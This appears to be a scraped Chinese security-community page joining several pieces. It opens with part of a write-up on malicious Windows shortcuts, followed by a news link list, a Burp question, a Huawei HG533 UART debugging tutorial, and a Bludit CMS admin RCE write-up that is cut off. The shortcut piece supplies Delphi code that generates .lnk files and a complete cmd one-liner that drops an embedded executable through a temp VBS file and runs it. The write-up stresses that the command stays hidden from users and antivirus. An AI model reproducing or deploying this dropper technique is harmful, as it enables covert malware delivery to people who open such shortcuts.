CoInitialize(nil);
try
cObject := CreateComObject(CLSID_ShellLink);
shellLink := cObject as IShellLink;
PFile := cObject as IPersistFile;
cmd := '/C "' + cmd + '"';
shellLink.SetDescription('@DarkCoderSc');
shellLink.SetPath('cmd.exe');
shellLink.SetArguments(PWideChar(cmd));
shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
shellLink.SetWorkingDirectory('%windir%system32');
shellLink.SetIconLocation('shell32.dll', 1);
result := PFile.Save(PWideChar(destPath), false) = S_OK;
finally
CoUninitialize();
end;
end;
var Arg1, Arg2 : String;
strList : TStringList;
begin
try
if ParamCount <> 2 then begin
writeln('usage:');
writeln('- Arg1 : Payload file, generated with the "gen_shortcut_code.py"');
writeln('- Arg2 : Full path of destination shortcut');
exit;
end;
Arg1 := ParamStr(1);
Arg2 := ParamStr(2);
if NOT FileExists(Arg1) then exit;
// THIS IS JUST A LAZY WORKING EXAMPLE OF OPENNING TEXT FILES
strList := TStringList.Create;
strList.LoadFromFile(Arg1);
MaliciousLnk(strList.Text, Arg2);
strList.Free;
finally
writeln(#13#10 + 'Press enter to leave...');
readln;
end;
end.
生成的payload示例（利用x86汇编语言编写的Hello World示例）
del %temp%tmp.vbs & echo payload=array(77,90,128,0,1,0,0,0,4,0,16,0,255,255,0,0,64,1,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,10,36,0,0,0,0,0,0,0,0,80,69,0,0,76,1,2,0,133,214,90,88,0,0,0,0,0,0,0,0,224,0,15,1,11,1,1,71,0,2,0,0,0,2,0,0,0,0,0,0,0,16,0,0,0,16,0,0,0,32,0,0,0,0,64,0,0,16,0,0,0,2,0,0,1,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,48,0,0,0,2,0,0,9,63,0,0,2,0,0,0,0,16,0,0,0,16,0,0,0,0,1,0,0,0,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,42,0,0,0,0,16,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,105,100,97,116,97,0,0,176,0,0,0,0,32,0,0,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,106,0,255,21,104,32,64,0,80,232,12,0,0,0,72,101,108,108,111,32,87,111,114,108,100,0,106,0,255,21,152,32,64,0,106,0,255,21,100,32,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,88,32,0,0,0,0,0,0,0,0,0,0,60,32,0,0,100,32,0,0,144,32,0,0,0,0,0,0,0,0,0,0,74,32,0,0,152,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,75,69,82,78,69,76,51,50,46,68,76,76,0,0,85,83,69,82,51,50,46,68,76,76,0,0,0,0,112,32,0,0,126,32,0,0,0,0,0,0,112,32,0,0,126,32,0,0,0,0,0,0,0,0,69,120,105,116,80,114,111,99,101,115,115,0,0,0,71,101,116,67,111,109,109,97,110,100,76,105,110,101,65,0,160,32,0,0,0,0,0,0,160,32,0,0,0,0,0,0,0,0,77,101,115,115,97,103,101,66,111,120,65,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) >> %temp%tmp.vbs & echo Set FSO = Wscript.CreateObject("Scripting.FileSystemObject") >> %temp%tmp.vbs & echo Set CTF = FSO.CreateTextFile("%temp%tmp.exe") >> %temp%tmp.vbs & echo for i = 0 to UBound(payload) >> %temp%tmp.vbs & echo buff = buff^&chr(payload(i)) >> %temp%tmp.vbs & echo next >> %temp%tmp.vbs & echo CTF.Write buff >> %temp%tmp.vbs & echo Dim objShell >> %temp%tmp.vbs & echo Set objShell = WScript.CreateObject("WScript.Shell") >> %temp%tmp.vbs & echo CTF.Close >> %temp%tmp.vbs & echo objShell.Run("%temp%tmp.exe") >> %temp%tmp.vbs & %temp%tmp.vbs
如果将它粘贴到您喜欢的命令提示符下，它会将一个VBS文件提取到临时文件夹中，如果运行此VBS文件的话，它将执行该嵌入式应用程序。
当你将这个payload注入一个快捷方式后，只需点击该快捷方式，它就会替你完成所有的工作！
**使用方法**
生成内联恶意VBS应用程序提取器
py gen_inlinecode.py @APPLICATION_LOCATION @PAYLOAD_DESTINATION
然后生成快捷方式
shortcut_gen.exe @PAYLOAD_LOCATION @SHORTCUT_DESTINATION
现在，将生成一个新的快捷方式，其中包含一个完整的应用程序。当双击该快捷方式时，它将提取出嵌入其中的应用程序，然后从临时文件夹执行该程序。
注意，如果打开快捷方式属性，则整个代码就不可用了，因为Microsoft通常只允许在参数字段中添加260个字节。这使得快捷方式更难以引起人们的警觉。
我们还可以修改脚本，使其在漏洞利用代码之前生成一个普通的垃圾“代码”，那么普通用户就会认为它是一个正常/安全的快捷方式。
**PoC视频**
快捷方式的最大尺寸约为64 KiB，这使得此漏洞可以兼容许多已知/未知病毒。
**结束语**
* * *
不要盲目相信你遇到的快捷方式。它们可能是用来隐藏恶意代码的，并且这些恶意软件通常是防病毒软件无法检测到的。如果随意打开的话，很可能就会中招！
您可以花些时间打开未知快捷方式的属性，看看它都是执行哪些命令。
如果您有任何疑问，请删除它！ | 社区文章 |
# 【知识】8月31日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： SpamBot利用7.11亿邮箱地址发送垃圾邮件、先知XSS挑战赛 – L3m0n
Writeup、流行电子邮件客户端漏洞分析，允许攻击者修改发送后HTML邮件内容、通过一系列实际挑战学习ROP、DOM Based Angular
Sandbox Escapes by Gareth Hayes、PyMultitor：Python多线程Tor代理、Oracle Java和Apache
Xerces PDF/Docx服务器端拒绝服务漏洞**
**资讯类：**
SpamBot利用7.11亿邮箱地址发送垃圾邮件
<https://threatpost.com/spambot-contains-mind-boggling-amount-of-email-smtp-credentials/127722/>
Gazer: 一款针对全球各领事馆和大使馆的后门恶意软件
<https://amp.thehackernews.com/thn/2017/08/gazer-backdoor-malware.html>
**技术类：**
****
ROPEMAKER技术白皮书（流行电子邮件客户端漏洞分析，允许攻击者修改发送后HTML邮件内容）
<http://www.digitalloft.org/init/plugin_wiki/page/ropemaker>
<http://www.digitalloft.org/init/plugin_wiki/attachment/21>
RubyGems修复多个漏洞
<https://www.ruby-lang.org/en/news/2017/08/29/multiple-vulnerabilities-in-rubygems/>
BSides Manchester 2017
<https://www.youtube.com/playlist?list=PLcgqQkap1lNrOBNCXqpPqpPAqckxv0XhP>
分析3.2亿密码hash
<https://cynosureprime.blogspot.fi/2017/08/320-million-hashes-exposed.html>
【APT报告】Introducing WhiteBear
<https://securelist.com/introducing-whitebear/81638/>
代码未写，漏洞已出—架构和设计的安全
<http://djt.qq.com/article/view/1555>
先知XSS挑战赛 – L3m0n Writeup
[https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==&mid=2247484070&idx=1&sn=673e20a08d9ae6c3de60ca48110b920a](https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==&mid=2247484070&idx=1&sn=673e20a08d9ae6c3de60ca48110b920a)
通过一系列实际挑战学习ROP
<https://ropemporium.com/>
ConnManDo：新的IoT设备漏洞
<https://www.nri-secure.com/blog/new-iot-vulnerability-connmando>
IoT安全：起搏器高危漏洞揭秘
<http://hackersgrid.com/2017/08/vulnerability-pacemakers-millions-lives-risk.html>
物理安全指南：Hacking things by touching them
<https://www.armadillophone.com/blog/2017/08/27/hacking-things-by-touching-them>
WordPresscan：Python版WPScan（wordpress漏洞扫描器）
<https://github.com/swisskyrepo/Wordpresscan>
initroot: Exploiting CVE-2016-10277 for untethered jailbreak on Moto devices
(USENIX WOOT '17)
<https://alephsecurity.com/2017/08/30/untethered-initroot/>
DSSS：轻量级SQL注入扫描器
<https://github.com/stamparm/DSSS>
使用Dropbox应用程序进行Western Digital远程命令执行
<https://blogs.securiteam.com/index.php/archives/3397>
VM_Setup：用于初始化Windows VM以运行恶意软件的powershell脚本集合
<https://github.com/DBHeise/VM_Setup>
PCILeech支持通过DMA攻击UEFI
<http://blog.frizk.net/2017/08/attacking-uefi.html>
如何在Windows 10上安装Metasploitable 3
<http://www.hackingtutorials.org/metasploit-tutorials/setup-metasploitable-3-windows-10/>
Anti-disassembly on ARM (IDA, specifically)
<https://kbdsmoke.me/anti-disassembly-on-arm-ida-specifically/>
如何绕过Windows Server 2008 R2上的身份验证
<http://www.hackingtutorials.org/general-tutorials/bypass-authentication-windows-server-2008-r2/>
DOM Based Angular Sandbox Escapes by Gareth Hayes
[https://www.youtube.com/watch?v=jlSI5aVTEIg&feature=youtu.be&a=](https://www.youtube.com/watch?v=jlSI5aVTEIg&feature=youtu.be&a=)
PyMultitor：Python多线程Tor代理
<https://github.com/realgam3/pymultitor>
HITB GSEC CTF Win Pwn解题全记录之babyshellcode
<https://whereisk0shl.top/hitb_gsec_ctf_babyshellcode_writeup.html>
Oracle Java和Apache Xerces PDF/Docx服务器端拒绝服务漏洞
<https://blogs.securiteam.com/index.php/archives/3271>
Bug Bounty：热门航空网站上的SQLi和XSS漏洞
<https://medium.com/@mkhizerjaved/sqli-xss-vulnerabilities-in-a-popular-airlines-website-bugbounty-poc-5c0d71f935c1>
通过简单的统计分析解码恶意软件
<https://blog.nviso.be/2017/08/30/decoding-malware-via-simple-statistical-analysis/>
Pharos二进制静态分析工具
<https://insights.sei.cmu.edu/sei_blog/2017/08/pharos-binary-static-analysis-tools-released-on-github.html>
How To Chain Commands in Linux
<https://n0where.net/how-to-chain-commands-in-linux/> | 社区文章 |
各位大侠们 怎么用burp传递多个页面 比如我用burp提交第一个页面 获取到一个token参数
然后马上要用这个token 再去Post提交第二个页面 要怎么做呢 用//intruder//也只能获取第一个页面 但是不能马上去提交token到第二个页面 | 社区文章 |
原文作者：Juan Carlos Jiménez
翻译者：光棍节
原文地址：http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/
本系列教程以华为HG533路由器为例，开展的一系列逆向研究，包括查找调试接口，搜寻固件，数据流跟踪，flash内容提取以及对固件的漏洞挖掘等。
图一 华为HG533外观
在设备开发的过程中，串口是开发人员保留在电路板上的供调试或者支持未来可扩展的接口，寻找串口也是硬件逆向工程的最基础的工作之一。
在商业产品中，大部分的UART串口都是4引脚或6引脚的存在于设备中，由于串口的设计并不是为最终的用户服务的，所以通常并没有焊上引针或连接器。
通过查找HG533路由器的主板接口，我们发现了2组未使用的接口，如图二所示的UART1和UART2，其中的排针是后来焊上去的。
图二 主板图片
由上图二可以知道，设备提供了两套不同的串口用于与不同的集成电路的通信，根据在电路板上的位置以及分析他们的线路连接，我们能够分析出哪一个串口是连接到主集成电路上，从主集成电路上的串口才能获取更多的数据。
### 1、 识别无用的引脚
在发现了2组接口后，首先要判断其中是否有无用的引脚，最简单的方法就是从背面用强光照射电路板，然后从正面看电路板上引脚环的样子来判断引脚的链接情况。如图三所示。
图三 背面照射电路板图
以图中的中间串口为例，从左至右（1--5）代表的意思是：
1：与某层电路板连接 2：空接口，没有连接任何引线 3：100%的很厚的连接，一般是与电源相关，如Vcc或接地
4：与多层电路板都有连接，很可能是其他的电源引脚，一般情况下，调试接口上的引脚没有必要与4层以上的不同电路板连接。 5：与1相似，与某层电路板连接
### 2、 焊上排针方便与线连接
由于这些接口的垫圈很硬而且熔点很高，垫圈会穿透整个电路板，中间有一个小孔，第一个串口，我用排针一起焊上，费了好大的力气才完成，对于第二个串口，我采用一个个的排针穿过垫圈，然后在pcb板的背面焊上焊锡，立刻好看多了。如图四所示。
图四 焊上引针后图片
### 3、 分析引脚意义
在步骤1中，我们得到了每一个可能串口接口上仅有三个有用的引脚。但是还不清楚是否是使用了串口协议，但是当前的接口数量与位置排列非常像UART串口。
串口的协议，以6引脚为例：
Tx:发送引脚，与调试设备的接收引脚相连 Rx:接收引脚，与调试设备的发送引脚相连 GND:接地，与调试设备的接地相连
Vcc:电源高位，一般为3.3v或者5v，一般不连接 CTS:通常不使用 DTR:通常不使用
所以总结上面步骤一的引脚，得出如下的结论：
1、3个未确定的引脚分别对应着Tx、Rx和GND 2、有两个引脚非常像Vcc和GND 3、Tx一般会被默认接上高电平
4、Rx也会被默认接上高电平，当我们给这个引脚提供低电平的时候，才会变成0
通过上述的分析，我们似乎已经可以使用USB转串口设备进行组合测试，但是不清楚的盲目测试很容易导致设备被烧坏。
所以我们接着利用电压表或者逻辑分析仪来详细的分析引脚，当然用示波器将会得到更好的效果。
图五 示波器测试图
在用示波器测试引脚后，我们得到了如下的结论，引脚情况如图六所示：
图六
UART接口详细图
1:GND和Vcc分别对应于引脚4和引脚3（此处的翻译与原文有点不一致，判断原文描述应该有点问题），其中电压值为3.3v
2:Tx验证，那个正在发送信息的导致电平值一直变化 3:Rx验证，示波器显示电平值始终不变化
接下来就是要获取串口通信的波特率，我们可以通过测试常用的几个波特率猜测获取，也可以通过示波器或者逻辑分析仪测试获取。如图七所示，当测试了正确的波特率时，就可以得到可读取的串口通信数据。
图七 逻辑分析仪数据图
### 4、 与串口通信
在获取了硬件端所有的信息之后，接下来就是研究与设备之间的通信，使用USB转串口工具测试，在实验中，我们同时测试两个串口，其中一个连接到示波器上，如图八所示。
图八 串口连接线图
与电脑相连的串口终端开始打印出有用的信息，如图九所示。
图九 串口通信数据 当然，也可以通过串口进行交互，如：
Please choose operation:
3: Boot system code via Flash (default).
4: Entr boot command line interface.
0
当按下4的时候，就可以获取与设备bootloader交互的命令行接口。当按下3的时候，在设备启动完成后，将会得到Welcome to ATP Cli
和登录的提示。默认的账号和密码为admin:admin。登录之后，运行shell命令，将可以以root权限运行Linux命令。如下所示：
------------------------------- -----Welcome to ATP Cli------ -------------------------------
Login: admin
Password: #Password is ‘admin'
ATP>shell
BusyBox vv1.9.1 (2013-08-29 11:15:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var usr tmp sbin proc mnt lib init etc dev bin
如果擅自修改这个默认的账号名和密码，将会导致设备无法正常的启动。
* * * | 社区文章 |
# Bludit cms 后台RCE漏洞
## 漏洞分析
第一次听说这个cms，也是atao师傅告诉我的，源码地址-<https://bludit.com/>
新奇的地方在于不依赖数据库，数据以json形式储存在文件里，我一开始的思路就是去找他的文件写入的点。
入口文件如下。
`$url` 在 `init.php` 中定义
此文件只有声明常量，包含php类文件。
在edit-category/general路由 中，可以修改数据，然后写入文件中，对应的文件处理如下。
直接将$_POST整个数组传入，感觉有可以利用的点，一系列的处理如下。
这里会将一些参数做一个`strip_tags` 的处理，但写到`newKey`里。
他确实写进去了，但发现在save方法的时候，拼接了第一行`defined('BLUDIT')or die('xxx');`，妈的。
这几乎在每一个文件中都存在，除过入口文件。而且此常量，也只在入口文件中声明，这就导致我们即使可以通过一些拼接手段注入代码，在没有文件包含的情况下也没有办法利用的，不过我没找见。
无能为力只能写个存储xss了。
后台提供了安装插件的方法。
不过插件都是在本地的bl-plugins文件夹里，然后通过activate将其加载进来。
此处的 `$plugins['all']` 是 admin.php 文件中包含了 这个文件
然后此文件中实例化了所有的插件类，将其存入数组中。
在site.php 中有如下调用
这里会遍历存在该type的插件，并调用其beforeall方法。
但其实只会调用已经activate的插件的beforeall方法，所以我们需要先在后台把对应插件下载下来。
在插件中找到一个可以利用的。
跟进downloadfiles方法。
跟进TCP::download，
就是从url获取内容，然后写入目的文件中，最后解压到目的文件所在的目录。
也就是 图片中的 romote-content 目录中，那么我们就可以构造一个压缩包在vps上，然后修改source值就可以写入木马文件了
这个漏洞感觉跟 极致cms后台的一个漏洞很相似。修改source为我们的恶意服务器，并上传带有木马的压缩包。
save之后 trywebhook
这里的try
webhook就是把webhook写入配置文件中，然后访问对应webhook的路由，就会去执行该插件的beforeall方法，从而导致我们的恶意文件被下载解压。
成功getshell | 社区文章 |
# 【技术分享】在Linux中使用C语言实现控制流保护（CFG）
|
##### 译文声明
本文是翻译文章，文章来源：nullprogram.com
原文地址：<http://nullprogram.com/blog/2017/01/21/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
最近版本的Windows有一个新的缓解措施叫做[控制流保护](http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf)（CFG）。在一个非直接调用之前——例如，函数指针和虚函数——针对有效调用地址的表检查目标地址。如果地址不是一个已知函数的入口，程序将会终止运行。
如果一个程序有一个缓冲区溢出漏洞，攻击者可以利用它覆盖一个函数地址，并且通过调用那个指针来控制程序执行流。这是[ROP](http://skeeto.s3.amazonaws.com/share/p15-coffman.pdf)攻击的一种方法，攻击者构建一系列[配件地址链](https://github.com/JonathanSalwan/ROPgadget)，一个配件是一组包含ret指令的指令序列，这些指令都是原始程序中的，可以用来作为非直接调用的起点。执行过程会从一个配件跳到另一个配件中以便做攻击者想做的事，却不需要攻击这提供任何代码。
两种非常广的缓解ROP攻击的技术是地址空间布局随机化（ALSR）和栈保护。前者是随机化模块的加载基址以便达到不可预料的结果。在ROP攻击中的地址依赖实时内存布局，因此攻击者必须找到并利用[信息泄漏](https://github.com/torvalds/linux/blob/4c9eff7af69c61749b9eb09141f18f35edbf2210/Documentation/sysctl/kernel.txt#L373)来绕过ASLR。
关于栈保护，编译器在其他栈分配之上分配一个值，并设置为每个线程的随机值。如果过缓冲区溢出覆盖了函数返回地址，这个值将也被覆盖。在函数返回前，将校验这个值。如果不能与已知值匹配，程序将终止运行。
CFG原理类似，在将控制传送到指针地址前做一个校验，只是不是校验一个值，而是校验目标地址本身。这个非常复杂，不像栈保护，需要平台协调。这个校验必须在所有的可靠的调用目标中被通知，不管是来自主程序还是动态库。
虽然没有广泛部署，但是值得一提的是[Clang’s
SafeStack](http://clang.llvm.org/docs/SafeStack.html)。每个线程有两个栈：一个“安全栈”用来保存返回指针和其他可安全访问的值，另一个“非安全栈”保存buffer之类的数据。缓冲区溢出将破环其他缓冲区，但是不会覆盖返回地址，这样限制了破环的影响。
**0x01 利用例子**
使用一个小的C程序，demo.c：
int
main(void)
{
char name[8];
gets(name);
printf("Hello, %s.n", name);
return 0;
}
它读取一个名字存到缓冲区中，并且以换行结尾打印出来。麻雀虽小五脏俱全。原生调用gets()不会校验缓冲区的边界，可以用来缓冲区溢出漏洞利用。很明显编译器和链接器都会抛出警告。
简单起见，假设程序包含危险函数。
void
self_destruct(void)
{
puts("**** GO BOOM! ****");
}
攻击者用缓冲区溢出来调用这个危险函数。
为了使攻击简单，假设程序不使用ASLR（例如，在GCC/Clang中不使用-fpie和-pie编译选项）。首先，找到self_destruct()函数地址。
$ readelf -a demo | grep self_destruct
46: 00000000004005c5 10 FUNC GLOBAL DEFAULT 13 self_destruct
因为在64位系统上面，所以是64位的地址。Name缓冲区的大小事8字节，在汇编我看到一个额外的8字节分配上面，所以有16个字节填充，然后8字节覆盖self_destruct的返回指针。
$ echo -ne 'xxxxxxxxyyyyyyyyxc5x05x40x00x00x00x00x00' > boom
$ ./demo < boom
Hello, xxxxxxxxyyyyyyyy?@.
**** GO BOOM! ****
Segmentation fault
使用这个输入我已经成功利用了缓冲区溢出来控制了执行。当main试图回到libc时，它将会跳转到威胁代码，然后崩溃。打开堆栈保护可以阻止这种利用。
$ gcc -Os -fstack-protector -o demo demo.c
$ ./demo < boom
Hello, xxxxxxxxaaaaaaaa?@.
*** stack smashing detected ***: ./demo terminated
======= Backtrace: =========
... lots of backtrace stuff ...
栈保护成功阻止了利用。为了绕过过这个，我将不得不猜canary值或者发现可以利用的信息泄漏。
栈保护转化为程序看起来就是如下这样：
int
main(void)
{
long __canary = __get_thread_canary();
char name[8];
gets(name);
printf("Hello, %s.n", name);
if (__canary != __get_thread_canary())
abort();
return 0;
}
然而，实际上不可能在C中实现堆栈保护，缓冲区溢出是不确定行为，并且canary仅对缓冲区溢出有效，还允许编译器优化它。
**0x02 函数指针和虚函数**
在攻击者成功上述利用后，上层管理加入了密码保护措施。看起来如下：
void
self_destruct(char *password)
{
if (strcmp(password, "12345") == 0)
puts("**** GO BOOM! ****");
}
这个密码是硬编码的，它是比较愚蠢，但是假设它不为攻击者所知。上层管理已经要求堆栈保护，因此假设已经开启。
另外，程序也做一点改变，现在用一个[函数指针实现多态](http://nullprogram.com/blog/2014/10/21/)。
struct greeter {
char name[8];
void (*greet)(struct greeter *);
};
void
greet_hello(struct greeter *g)
{
printf("Hello, %s.n", g->name);
}
void
greet_aloha(struct greeter *g)
{
printf("Aloha, %s.n", g->name);
}
现在有一个greeter对象和函数指针来实现运行时多态。把他想想为手写的C的虚函数。下面是新的main函数：
int
main(void)
{
struct greeter greeter = {.greet = greet_hello};
gets(greeter.name);
greeter.greet(&greeter);
return 0;
}
（在真实的程序中，其他东西会提供greeter并挑选它自己的函数指针）
而不是覆盖返回指针，攻击者有机会覆盖结构中的函数指针。让我们重新像之前一样利用。
$ readelf -a demo | grep self_destruct
54: 00000000004006a5 10 FUNC GLOBAL DEFAULT 13 self_destruct
我们不知道密码，但是我们确实知道密码校验是16字节。攻击应该跳过16字节，即跳过校验（0x4006a5+16=0x4006b5）。
$ echo -ne 'xxxxxxxxxb5x06x40x00x00x00x00x00' > boom
$ ./demo < boom
**** GO BOOM! ****
不管堆栈保护还是密码保护都么有帮助。堆栈保护仅仅保护返回指针，而不保护结构中的函数指针。
这就是CFG起作用的地方。开启了CFG，编译器会在调用greet()之前插入一个校验。它必须指向一个已知函数的开头，否则将想堆栈保护一样终止程序运行。因为self_destruct（）不是函数的开头，但是利用后程序还是会终止。
然而，linux还没有CFG机制。因此我打算自己实现它。
**0x03 函数地址表**
正如文中顶端PDF链接中描述的，Windows上面的CFG使用bitmap实现。每个位代表8字节内存。如果过8字节包含了函数开头，这个位设置为1。校验一个指针意味着校验在bitmap中它关联的位。
关于我的CFG，我决定保持相同的8字节解决方案：目标地址的低3位将舍弃。其余24位用来作为bitmap的索引。所有指针中的其他位被忽略。24位的索引意味着bitmap最大只能是2MB。
24位对于32位系统已经足够了，但是在64位系统上面是不够的：一些地址不能代表函数的开头，但是设置他们的位为1.这是可以接受的，尤其是只有已知函数作为非直接调用的目标，降低了不利因素。
注意：根据[指针转化为整数的位是未指定的](http://nullprogram.com/blog/2016/05/30/)且不可移植，但是这个实现不管在哪里都能工作良好。
下面是CFG的参数。我将他们封装为宏以便编译是方便。这个cfg_bits是支持bitmap数组的整数类型。CFG_RESOLUTION是舍弃的位数，一次“3”是8字节的一个粒度。
typedef unsigned long cfg_bits;
#define CFG_RESOLUTION 3
#define CFG_BITS 24
给一个函数指针f，下面的宏导出bitmap的索引。
#define CFG_INDEX(f)
(((uintptr_t)f >> CFG_RESOLUTION) & ((1UL << CFG_BITS) - 1))
CFG bitmap只是一个整形数组。初始值为0。
struct cfg {
cfg_bits bitmap[(1UL << CFG_BITS) / (sizeof(cfg_bits) * CHAR_BIT)];
};
使用cfg_register()在bitmap中手动注册函数。
void
cfg_register(struct cfg *cfg, void *f)
{
unsigned long i = CFG_INDEX(f);
size_t z = sizeof(cfg_bits) * CHAR_BIT;
cfg->bitmap[i / z] |= 1UL << (i % z);
}
因为在运行时注册函数，需要与ASLR一致。如果ASLR开启了，bitmap每次运行都会不同。将bitmap的每个元素与一个随机数异或是值得的，加大攻击者的难度。在完成注册后，bitmap也需要调整为只读权限（mprotect()）。
最后，校验函数被用于非直接调用之前。它确保了f先被传递给cfg_register()。因为它调用频繁，所以需要尽量快和简单。
void
cfg_check(struct cfg *cfg, void *f)
{
unsigned long i = CFG_INDEX(f);
size_t z = sizeof(cfg_bits) * CHAR_BIT;
if (!((cfg->bitmap[i / z] >> (i % z)) & 1))
abort();
}
完成了，现在在main中使用它：
struct cfg cfg;
int
main(void)
{
cfg_register(&cfg, self_destruct); // to prove this works
cfg_register(&cfg, greet_hello);
cfg_register(&cfg, greet_aloha);
struct greeter greeter = {.greet = greet_hello};
gets(greeter.name);
cfg_check(&cfg, greeter.greet);
greeter.greet(&greeter);
return 0;
}
现在再次利用：
$ ./demo < boom
Aborted
正常情况下self_destruct()不会被注册，因为它不是一个非直接调用的合法目标，但是利用依然不能起作用是因为它在self_destruct()中间被调用，在bitmap中它不是一个可靠的地址。校验将在利用前终止程序。
在真实的应用程序中，我将使用一个[全局的CFG
bitmap](http://nullprogram.com/blog/2016/12/23/)，在头文件中使用inline函数定义cfg_check()。
尽管不使用工具直接在C中实现是可能的，但是这将变得更加繁琐和意出错。正确的是该在编译器中实现CFG。 | 社区文章 |
作者： **[超威蓝猫](https://blog.cal1.cn/)**
内网中有一些 Vivotek 的网络摄像头，用作监控。直接访问 80 端口的 Web 服务，在 配置 - 维护 - 导入/导出文件
里导出配置文件，得到一个包含有 etc 文件夹的 tar 包。从目录结构来看，像是把 Linux 上的文件打包了一样，推测摄像头上运行着嵌入式 Linux
系统。
于是对 Web 服务进行黑盒测试，然而并没有发现什么漏洞。访问 `/cgi-bin/viewer/getparam_cache.cgi?system_info_firmwareversion` 得知固件版本号是
`IB8369-VVTK-0102a` ，那么型号应该就是 IB8369 了。去官网下载固件进行分析，顺手点开了固件旁边的用户指南，在一堆 cgi
接口中发现了这么一条：
这里的 query_string 居然是绝对路径，尝试读取 /etc/passwd ，返回 "Permission denied" ：
如果按照用户手册里的 /mnt/auto/CF/NCMF/xx 来，就是不会遇到前面的问题：
然而后端只检查了前缀是否为 /mnt/auto/ ，可以路径穿越到 / 下，读取任意文件：
以上是第一个漏洞。下面是命令注入：
